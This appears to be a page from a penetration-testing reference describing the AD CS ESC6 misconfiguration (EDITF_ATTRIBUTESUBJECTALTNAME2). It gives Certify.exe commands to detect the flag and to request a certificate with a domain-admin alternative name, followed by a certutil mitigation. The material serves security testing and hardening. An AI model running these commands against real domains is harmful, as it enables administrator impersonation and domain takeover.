title: "Active Directory - Certificate ESC6" section: "Active Directory" sectionSlug: "active-directory" sourcePath: "docs/active-directory/ad-adcs-esc06.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-esc06.md" sha: "203bb0c0b290" isIndex: false#
Active Directory - Certificate ESC6#
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2#
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation
-
Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the
EDITF_ATTRIBUTESUBJECTALTNAME2flag.Certify.exe cas -
Request a certificate for a template and add an altname, even though the default
Usertemplate doesn't normally allow to specify alternative names.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
Mitigation
- Remove the flag:
certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2